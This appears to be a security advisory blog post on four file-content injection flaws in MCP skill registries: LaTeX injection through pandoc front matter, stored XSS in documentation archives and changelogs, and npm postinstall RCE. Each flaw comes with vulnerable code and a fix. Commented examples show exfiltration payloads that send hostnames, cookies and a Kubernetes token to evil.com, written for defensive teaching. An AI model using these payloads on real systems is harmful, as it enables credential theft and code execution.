← Blog

Claude MCP skill malicious file content injection via skill README and documentation assets — SA-SKL-UPLOAD14

MCP skill registries process developer-submitted documentation in multiple pipelines: READMEs converted to PDFs for offline documentation, documentation ZIP archives served as static sites, skill packages installed for dependency resolution, and changelog files parsed for version history display. Each processing pipeline that handles file content from attacker-controlled archives is a potential injection surface. SA-SKL-UPLOAD14 covers four patterns where the content of uploaded files — not just their filenames — enables attacks: LaTeX injection via YAML front matter, stored XSS via HTML documentation, remote code execution via npm lifecycle scripts, and HTML injection in changelog rendering.

By SkillAudit  |  12 Nov 2026
SA-SKL-UPLOAD14 findings at a glance
HIGHUPLOAD14-001 — Skill README.md processed by pandoc for PDF download — attacker embeds YAML front matter with \write18{curl -s https://evil.com/$(cat /etc/hostname)}; shell command executes during LaTeX compilation when --shell-escape is enabled; or \VerbatimInput{/app/.env} includes secrets in the generated PDF
CRITICALUPLOAD14-002 — Documentation ZIP contains index.html with inline <script> tags; registry serves the archive as a static site from the main skillaudit.dev domain — attacker script has access to all cookies and localStorage for the entire registry domain; stored XSS via file upload
CRITICALUPLOAD14-003 — Registry runs npm install on developer-submitted package.json to cache dependencies — npm postinstall lifecycle script executes automatically; attacker exfiltrates Kubernetes service account token via curl to external host
HIGHUPLOAD14-004 — CHANGELOG.md parsed for version history modal — attacker embeds <img src=x onerror="..."> in version title; template inserts title via innerHTML; XSS executes for all users who open the skill's version history modal

UPLOAD14-001 — LaTeX injection via YAML front matter in README-to-PDF conversion

MCP skill registries often offer a "Download PDF" button that generates a formatted PDF from the skill's README.md. A common implementation uses pandoc to convert the markdown to PDF via LaTeX. pandoc natively parses YAML front matter at the top of a markdown file — metadata fields like title, author, and date that pandoc uses to populate the LaTeX document template. The header-includes field injects arbitrary LaTeX commands directly into the document preamble. When pandoc is invoked with --pdf-engine=xelatex (or any TeX engine) and the --shell-escape flag is active — required by popular packages such as minted for syntax highlighting — the LaTeX command \write18{} executes its argument as a shell command during compilation.

// VULNERABLE — pandoc called on README.md from user-submitted skill package
const { execFile } = require('child_process');
const path = require('path');

async function generateReadmePdf(skillId, readmePath, outputPdf) {
  return new Promise((resolve, reject) => {
    execFile('pandoc', [
      readmePath,          // <-- attacker-controlled README.md content
      '-o', outputPdf,
      '--pdf-engine=xelatex',
      '--highlight-style=tango'  // triggers --shell-escape requirement for minted
    ], (err, stdout, stderr) => {
      if (err) return reject(err);
      resolve(outputPdf);
    });
  });
}

// Attacker README.md starts with:
// ---
// title: "My Skill"
// header-includes:
//   - \usepackage{minted}
//   - \immediate\write18{curl -s https://evil.com/$(cat /etc/hostname)}
// ---
//
// Or for information disclosure (no --shell-escape needed):
// ---
// header-includes:
//   - \usepackage{verbatim}
//   - \VerbatimInput{/app/.env}
// ---

Two distinct attack modes: With --shell-escape enabled, \write18{} achieves arbitrary command execution on the pandoc server during PDF generation. Without --shell-escape, the attack degrades to information disclosure: LaTeX packages like \usepackage{verbatim} combined with \VerbatimInput{/app/.env} read and embed local file contents verbatim into the generated PDF, which is then served to anyone who downloads it. The PDF is delivered to the attacker — who is the skill author — and may also be served to other users who click "Download PDF", making this a supply-chain information leak even without shell access.

// FIXED — strip YAML front matter before passing to pandoc; use --sandbox
const matter = require('gray-matter');  // npm install gray-matter
const fs = require('fs');
const { execFile } = require('child_process');
const path = require('path');
const os = require('os');
const crypto = require('crypto');

async function generateReadmePdfSafe(skillId, readmePath, outputPdf) {
  // 1. Parse and discard YAML front matter
  const raw = fs.readFileSync(readmePath, 'utf8');
  const parsed = matter(raw);
  // parsed.content is the markdown body without front matter
  // parsed.data is the YAML metadata (we discard it entirely)

  // 2. Write sanitised content to a temp file
  const tmpFile = path.join(os.tmpdir(), `readme-${crypto.randomUUID()}.md`);
  fs.writeFileSync(tmpFile, parsed.content, 'utf8');

  return new Promise((resolve, reject) => {
    execFile('pandoc', [
      tmpFile,
      '-o', outputPdf,
      '--pdf-engine=pdflatex',
      '--sandbox',           // pandoc 2.17+: disables \write18 and file I/O macros
      '--no-highlight'       // avoid shell-escape dependency from minted
    ], { timeout: 30_000 }, (err, stdout, stderr) => {
      fs.unlinkSync(tmpFile);
      if (err) return reject(err);
      resolve(outputPdf);
    });
  });
}

// Alternative: convert to HTML first (pandoc --to=html5), then use
// a headless browser (Puppeteer) to print to PDF — avoids LaTeX entirely

pandoc --sandbox (2.17+): The --sandbox flag introduced in pandoc 2.17 disables all Lua filter file I/O, \write18, and TeX file inclusion macros. It is the safest single flag to add to any pandoc invocation processing untrusted input. If your pandoc version predates 2.17, the defense-in-depth approach is: strip front matter via gray-matter before conversion, use --pdf-engine=pdflatex (not xelatex or lualatex), never pass --shell-escape, and run pandoc in a network-isolated container with read-only filesystem mounts.

UPLOAD14-002 — Stored XSS via HTML files in documentation ZIP served from registry domain

Some MCP skill registries allow developers to upload a documentation ZIP archive — a bundle of HTML, CSS, and JavaScript files for rich reference documentation. The registry extracts this ZIP and serves it as a static site under a path like /skill-docs/{skillId}/. When this static content is served from the main registry domain (skillaudit.dev) without a restrictive Content Security Policy, any JavaScript in the uploaded HTML executes in the context of that domain. An attacker uploads a documentation ZIP containing an index.html with an inline <script> tag that reads document.cookie and localStorage and exfiltrates them to an attacker-controlled host. This is stored XSS: every user who browses to the skill's documentation page triggers the payload, which runs with full access to the registry domain's cookies — including authentication session tokens.

// VULNERABLE — extracted documentation served with express.static, no CSP header
const express = require('express');
const path = require('path');
const unzipper = require('unzipper');
const fs = require('fs');

// Upload handler: extract ZIP to per-skill docs directory
app.post('/api/skills/:skillId/docs', async (req, res) => {
  const docsDir = `/app/skill-docs/${req.params.skillId}`;
  await fs.createReadStream(req.file.path)
    .pipe(unzipper.Extract({ path: docsDir }))
    .promise();
  res.json({ ok: true });
});

// Serve handler: no CSP — attacker HTML runs with skillaudit.dev cookie access
app.use('/skill-docs/:skillId',
  (req, res, next) => express.static(
    `/app/skill-docs/${req.params.skillId}`
  )(req, res, next)
);

// Attacker uploads ZIP containing index.html:
// <script>
//   fetch('https://evil.com/steal?c=' + encodeURIComponent(document.cookie)
//     + '&ls=' + encodeURIComponent(JSON.stringify(localStorage)));
// </script>

Why domain isolation matters: If documentation is served from skillaudit.dev/skill-docs/, the attacker script operates within the skillaudit.dev origin and can read session cookies (unless HttpOnly), call same-origin API endpoints authenticated by the browser's session, read localStorage containing JWT tokens, and invoke fetch() against the registry's own API. Moving documentation to a separate origin (docs-cdn.skillaudit.dev) isolates it — the separate origin cannot access the main domain's cookies or storage, and the browser treats it as a completely independent site. This is not just a mitigation; it fundamentally eliminates the cross-domain cookie theft vector.

// FIXED — option A: serve from isolated subdomain with restrictive CSP
// DNS: docs-cdn.skillaudit.dev → separate static file server

// Upload handler (unchanged — still extracts to per-skill directory)
// Serve handler on docs-cdn subdomain:
app.use('/:skillId',
  (req, res, next) => {
    // Add CSP header before serving any file from docs-cdn
    res.setHeader('Content-Security-Policy',
      "default-src 'none'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; script-src 'none';"
    );
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-Content-Type-Options', 'nosniff');
    express.static(`/app/skill-docs/${req.params.skillId}`, {
      index: 'index.html',
      dotfiles: 'deny'
    })(req, res, next);
  }
);

// FIXED — option B: sanitize all HTML files in ZIP before extraction
const sanitizeHtml = require('sanitize-html');  // npm install sanitize-html

async function extractAndSanitizeDocs(zipPath, docsDir) {
  // Extract to temp dir first
  const tmpDir = `${docsDir}_tmp`;
  await fs.createReadStream(zipPath)
    .pipe(unzipper.Extract({ path: tmpDir }))
    .promise();

  // Walk extracted files and sanitize HTML
  async function sanitizeDir(dir) {
    for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
      const fullPath = path.join(dir, entry.name);
      if (entry.isDirectory()) {
        await sanitizeDir(fullPath);
      } else if (entry.isFile() && /\.html?$/i.test(entry.name)) {
        const html = fs.readFileSync(fullPath, 'utf8');
        const clean = sanitizeHtml(html, {
          allowedTags: sanitizeHtml.defaults.allowedTags.concat(['img', 'h1', 'h2', 'pre', 'code']),
          allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes },
          disallowedTagsMode: 'discard'
          // sanitize-html strips all <script> tags and event handler attributes by default
        });
        fs.writeFileSync(fullPath, clean, 'utf8');
      }
    }
  }

  await sanitizeDir(tmpDir);
  fs.renameSync(tmpDir, docsDir);
}

UPLOAD14-003 — RCE via npm lifecycle scripts in skill package.json

MCP skill registries that resolve and cache skill dependencies run npm install in a directory containing the developer's package.json. npm's lifecycle system executes scripts defined in package.json at specific points during installation: preinstall runs before the install begins, install during it, and postinstall after it completes. These hooks are designed for legitimate build steps (compiling native modules, generating type definitions), but they execute arbitrary shell commands with the permissions of the npm process. An attacker submits a package.json whose postinstall script exfiltrates the Kubernetes service account token, AWS instance metadata, or the registry server's environment variables. The exploit fires the moment the registry worker runs npm install — no further user interaction is required.

// VULNERABLE — npm install called on developer-submitted package.json
const { execFile } = require('child_process');
const path = require('path');

async function cacheSkillDependencies(skillId, skillPackageDir) {
  // skillPackageDir contains the developer's package.json
  return new Promise((resolve, reject) => {
    execFile('npm', ['install'], {
      cwd: skillPackageDir,  // <-- runs npm install in attacker-controlled directory
      timeout: 120_000
    }, (err, stdout, stderr) => {
      if (err) return reject(err);
      resolve();
    });
  });
}

// Attacker package.json:
// {
//   "name": "malicious-skill",
//   "version": "1.0.0",
//   "scripts": {
//     "postinstall": "curl -s https://evil.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | tr -d '\\n')"
//   },
//   "dependencies": { "lodash": "^4.0.0" }
// }

Exfiltration targets in Kubernetes: The Kubernetes service account token at /var/run/secrets/kubernetes.io/serviceaccount/token is a JWT that authenticates to the Kubernetes API. Depending on the RBAC permissions assigned to the service account, this token may allow listing all pods and secrets in the namespace, reading other pods' environment variables (which contain database credentials), or even creating new pods. Environment variable exfiltration via env | base64 captures DATABASE_URL, REDIS_URL, AWS_ACCESS_KEY_ID, and similar secrets injected by the container orchestration platform. The --ignore-scripts flag is a one-word fix that completely prevents this attack class.

// FIXED — --ignore-scripts prevents all lifecycle hook execution
const { execFile } = require('child_process');
const path = require('path');
const fs = require('fs');

function validatePackageJson(pkgJsonPath) {
  const raw = fs.readFileSync(pkgJsonPath, 'utf8');
  let pkg;
  try {
    pkg = JSON.parse(raw);
  } catch {
    throw new Error('package.json is not valid JSON');
  }

  // Reject any package.json that declares lifecycle scripts
  if (pkg.scripts && typeof pkg.scripts === 'object') {
    const lifecycleHooks = ['preinstall', 'install', 'postinstall', 'prepare',
                            'prepublish', 'prepublishOnly', 'prepack', 'postpack'];
    const forbidden = Object.keys(pkg.scripts).filter(k => lifecycleHooks.includes(k));
    if (forbidden.length > 0) {
      throw new Error(`package.json declares forbidden lifecycle scripts: ${forbidden.join(', ')}`);
    }
  }

  return pkg;
}

async function cacheSkillDependenciesSafe(skillId, skillPackageDir) {
  // 1. Validate package.json before running npm at all
  validatePackageJson(path.join(skillPackageDir, 'package.json'));

  // 2. Run npm install with --ignore-scripts as defence-in-depth
  return new Promise((resolve, reject) => {
    execFile('npm', [
      'install',
      '--ignore-scripts',    // disables all lifecycle hooks unconditionally
      '--no-audit',          // skip network audit to reduce attack surface
      '--no-fund'
    ], {
      cwd: skillPackageDir,
      timeout: 120_000,
      env: {
        ...process.env,
        // Restrict npm to the local directory — prevent global registry writes
        NPM_CONFIG_PREFIX: skillPackageDir,
        // Optionally point to a private mirror that only allows vetted packages
        NPM_CONFIG_REGISTRY: process.env.INTERNAL_NPM_REGISTRY || 'https://registry.npmjs.org'
      }
    }, (err, stdout, stderr) => {
      if (err) return reject(err);
      resolve();
    });
  });
}

// Best practice: also use npm ci with a committed package-lock.json
// npm ci respects --ignore-scripts and uses exact locked versions,
// preventing dependency confusion and version-range substitution attacks

UPLOAD14-004 — HTML injection in CHANGELOG version history modal

MCP skill registry listing pages display version history in a modal dialog, populated by parsing the skill's CHANGELOG.md file. The registry uses a changelog parser library (such as keep-a-changelog or a custom regex-based parser) to extract structured version entries: a version number, a date, and a list of change descriptions. The parsed version titles and section headings are then inserted into the modal's DOM. When the template uses innerHTML assignment — common in frameworks that render server-side template output directly, or in vanilla JS modal implementations — HTML tags embedded in the changelog title are interpreted as markup. An attacker crafts a changelog with a version title containing an <img> tag with an onerror handler. The XSS fires for every user who opens the version history modal, which may be rendered for any skill in the public registry.

// VULNERABLE — changelog section titles inserted via innerHTML
const { parse } = require('keep-a-changelog');  // or similar

function renderVersionHistory(changelogText, containerElement) {
  const changelog = parse(changelogText);

  changelog.releases.forEach(release => {
    // release.version and release.date come directly from CHANGELOG.md content
    // The parser returns raw strings including any HTML
    const div = document.createElement('div');
    div.className = 'version-entry';

    // innerHTML interprets HTML in release.version — XSS if attacker controls CHANGELOG.md
    div.innerHTML = `
      <div class="version-title">${release.version}</div>
      <div class="version-date">${release.date}</div>
    `;
    containerElement.appendChild(div);
  });
}

// Attacker CHANGELOG.md:
// ## [<img src=x onerror="document.location='https://evil.com?c='+document.cookie">] - 2026-01-01
// ### Added
// - Initial release

Why markdown renderers don't protect against this: Changelog parsers extract version titles as strings, not as markdown. Even if the registry passes description text through a markdown renderer before displaying it, the version heading itself (the ## [1.0.0] part) is typically used as a plain string key. The markdown renderer is never applied to the version title — it goes straight from the parser's output into the DOM. Developers sometimes assume that markdown renderers sanitize HTML, but most renderers (including marked) pass through raw HTML by default. The only safe approach is to treat all changelog-derived content as plain text at the DOM insertion point, regardless of what processing it has already received upstream.

// FIXED — treat all changelog content as plain text; htmlEncode before innerHTML
function htmlEncode(str) {
  // Encode the five HTML special characters — prevents all tag injection
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

function renderVersionHistorySafe(changelogText, containerElement) {
  const changelog = parse(changelogText);

  changelog.releases.forEach(release => {
    const div = document.createElement('div');
    div.className = 'version-entry';

    // Encode version and date before interpolating into innerHTML
    const safeVersion = htmlEncode(release.version ?? 'Unknown');
    const safeDate = htmlEncode(release.date ?? '');

    div.innerHTML = `
      <div class="version-title">${safeVersion}</div>
      <div class="version-date">${safeDate}</div>
    `;

    // For descriptions that may contain markdown (bullets, code spans):
    // Parse with marked(), then sanitize the output with DOMPurify before innerHTML
    if (release.description) {
      const descContainer = document.createElement('div');
      descContainer.className = 'version-desc';
      // DOMPurify strips all event handlers and dangerous tags
      descContainer.innerHTML = DOMPurify.sanitize(
        marked.parse(release.description),
        { ALLOWED_TAGS: ['p', 'ul', 'ol', 'li', 'code', 'pre', 'strong', 'em', 'a'],
          ALLOWED_ATTR: ['href'] }
      );
      div.appendChild(descContainer);
    }

    containerElement.appendChild(div);
  });
}

// Simplest server-side alternative: use textContent for all scalar fields
// and never use innerHTML for user-originated content without DOMPurify

Detection summary

Finding Severity Attack vector Fix
UPLOAD14-001 HIGH YAML front matter LaTeX injection in README Strip front matter before pandoc; use --sandbox
UPLOAD14-002 CRITICAL HTML script in documentation ZIP Subdomain isolation or script-src 'none' CSP
UPLOAD14-003 CRITICAL npm lifecycle scripts in package.json npm install --ignore-scripts + scripts key prohibition
UPLOAD14-004 HIGH HTML in CHANGELOG version titles Treat as plain text; htmlEncode on render

SkillAudit's static analysis scans detect all four UPLOAD14 patterns. UPLOAD14-001 is flagged when pandoc is called on markdown files from user-submitted content without front matter stripping; UPLOAD14-002 when HTML files from user archives are served without script-src 'none'; UPLOAD14-003 when npm install is called on user-submitted package.json without --ignore-scripts; UPLOAD14-004 when changelog content is inserted via innerHTML without encoding. See also SA-SKL-UPLOAD13 for path traversal and symlink attacks in skill asset storage, SA-SKL-UPLOAD12 for command injection via archive member filenames during ZIP/TAR extraction, and SA-SKL-XSS8 for stored XSS via skill name and description fields in registry search results.